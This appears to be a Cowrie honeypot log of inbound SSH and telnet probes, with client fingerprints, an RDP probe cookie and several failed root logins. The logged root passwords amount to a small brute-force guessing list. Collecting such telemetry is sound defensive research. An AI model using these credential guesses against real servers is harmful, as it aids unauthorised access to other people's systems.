{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:12.781858Z","src_ip":"103.172.78.219","session":"6fa87b784496","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:13.029408Z","src_ip":"103.172.78.219","session":"6fa87b784496","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678z","message":"login attempt [root/12345678z] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:13.776962Z","src_ip":"103.172.78.219","session":"6fa87b784496","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:15.027205Z","src_ip":"103.172.78.219","session":"6fa87b784496","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.02649641036987,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:15.067536Z","src_ip":"152.42.224.71","session":"cb1ca57d9f7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"166.1.144.134","src_port":59098,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9c9aa5ddc06","protocol":"ssh","message":"New connection: 166.1.144.134:59098 (10.17.0.5:22) [session: c9c9aa5ddc06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:24.354432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:24.372809Z","src_ip":"166.1.144.134","session":"c9c9aa5ddc06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:24.470398Z","src_ip":"166.1.144.134","session":"c9c9aa5ddc06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"metin2","message":"login attempt [root/metin2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:24.868531Z","src_ip":"166.1.144.134","session":"c9c9aa5ddc06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:25.976492Z","src_ip":"166.1.144.134","session":"c9c9aa5ddc06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":114.83270168304443,"message":"Connection lost after 114 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:30.619609Z","src_ip":"152.42.224.71","session":"504361fea43d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55152,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e7d622eb2a2","protocol":"telnet","message":"New connection: 152.42.224.71:55152 (10.17.0.5:23) [session: 4e7d622eb2a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:32.188502Z"}
{"eventid":"cowrie.session.closed","duration":33.21904492378235,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:33.968599Z","src_ip":"152.42.224.71","session":"40510b6e0ec3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.90433955192566,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:35.553311Z","src_ip":"152.42.224.71","session":"ba6744470ea0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":59336,"dst_ip":"10.17.0.5","dst_port":22,"session":"681eea3048c5","protocol":"ssh","message":"New connection: 167.172.81.52:59336 (10.17.0.5:22) [session: 681eea3048c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:35.806894Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:35.811962Z","src_ip":"167.172.81.52","session":"681eea3048c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:35.815898Z","src_ip":"167.172.81.52","session":"681eea3048c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.139.74","src_port":45836,"dst_ip":"10.17.0.5","dst_port":22,"session":"b13d78217703","protocol":"ssh","message":"New connection: 43.135.139.74:45836 (10.17.0.5:22) [session: b13d78217703]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:36.608621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:36.613450Z","src_ip":"43.135.139.74","session":"b13d78217703","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:36.682213Z","src_ip":"43.135.139.74","session":"b13d78217703","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1a2b3c4d5e","message":"login attempt [root/1a2b3c4d5e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:36.990323Z","src_ip":"43.135.139.74","session":"b13d78217703","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:38.062363Z","src_ip":"43.135.139.74","session":"b13d78217703","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.96.193.72","src_port":42924,"dst_ip":"10.17.0.5","dst_port":22,"session":"04fe14e6711b","protocol":"ssh","message":"New connection: 119.96.193.72:42924 (10.17.0.5:22) [session: 04fe14e6711b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:41.569986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:41.575653Z","src_ip":"119.96.193.72","session":"04fe14e6711b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:41.857443Z","src_ip":"119.96.193.72","session":"04fe14e6711b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50668,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6302b357a29","protocol":"telnet","message":"New connection: 152.42.224.71:50668 (10.17.0.5:23) [session: f6302b357a29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:42.065930Z"}
{"eventid":"cowrie.session.connect","src_ip":"52.236.56.129","src_port":53698,"dst_ip":"10.17.0.5","dst_port":22,"session":"27aefeec843d","protocol":"ssh","message":"New connection: 52.236.56.129:53698 (10.17.0.5:22) [session: 27aefeec843d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:42.716891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:42.721999Z","src_ip":"52.236.56.129","session":"27aefeec843d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:42.788778Z","src_ip":"52.236.56.129","session":"27aefeec843d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"uucp123","message":"login attempt [root/uucp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:43.014203Z","src_ip":"119.96.193.72","session":"04fe14e6711b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mgeweb","message":"login attempt [root/mgeweb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:43.088766Z","src_ip":"52.236.56.129","session":"27aefeec843d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50674,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d8c39b610b8","protocol":"telnet","message":"New connection: 152.42.224.71:50674 (10.17.0.5:23) [session: 7d8c39b610b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:43.693701Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.227.158","src_port":65158,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9ea1aa4c22d","protocol":"ssh","message":"New connection: 165.154.227.158:65158 (10.17.0.5:22) [session: b9ea1aa4c22d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:43.763132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:43.767447Z","src_ip":"165.154.227.158","session":"b9ea1aa4c22d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:43.989105Z","src_ip":"165.154.227.158","session":"b9ea1aa4c22d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:44.165103Z","src_ip":"52.236.56.129","session":"27aefeec843d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:44.299730Z","src_ip":"119.96.193.72","session":"04fe14e6711b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ziboidc12345^","message":"login attempt [root/ziboidc12345^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:44.908669Z","src_ip":"165.154.227.158","session":"b9ea1aa4c22d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:46.134169Z","src_ip":"165.154.227.158","session":"b9ea1aa4c22d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44628,"dst_ip":"10.17.0.5","dst_port":23,"session":"8add72cbe851","protocol":"telnet","message":"New connection: 152.42.224.71:44628 (10.17.0.5:23) [session: 8add72cbe851]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:49.216364Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:52.704790Z","src_ip":"119.96.193.72","session":"8d2763763f35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42548,"dst_ip":"10.17.0.5","dst_port":23,"session":"9fc01a5ef12d","protocol":"telnet","message":"New connection: 152.42.224.71:42548 (10.17.0.5:23) [session: 9fc01a5ef12d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:57.361929Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.86","src_port":49534,"dst_ip":"10.17.0.5","dst_port":22,"session":"89bd8ab0feef","protocol":"ssh","message":"New connection: 165.154.6.86:49534 (10.17.0.5:22) [session: 89bd8ab0feef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:58.537327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:58.542154Z","src_ip":"165.154.6.86","session":"89bd8ab0feef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:58.760283Z","src_ip":"165.154.6.86","session":"89bd8ab0feef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cisco@123","message":"login attempt [root/cisco@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:59.664749Z","src_ip":"165.154.6.86","session":"89bd8ab0feef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:21:00.887209Z","src_ip":"165.154.6.86","session":"89bd8ab0feef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.79234719276428,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:21:07.980745Z","src_ip":"152.42.224.71","session":"4e7d622eb2a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.121.214.50","src_port":41226,"dst_ip":"10.17.0.5","dst_port":22,"session":"80158ced3dbf","protocol":"ssh","message":"New connection: 117.121.214.50:41226 (10.17.0.5:22) [session: 80158ced3dbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:21:14.992338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:21:14.997890Z","src_ip":"117.121.214.50","session":"80158ced3dbf","protocol":"ssh"}
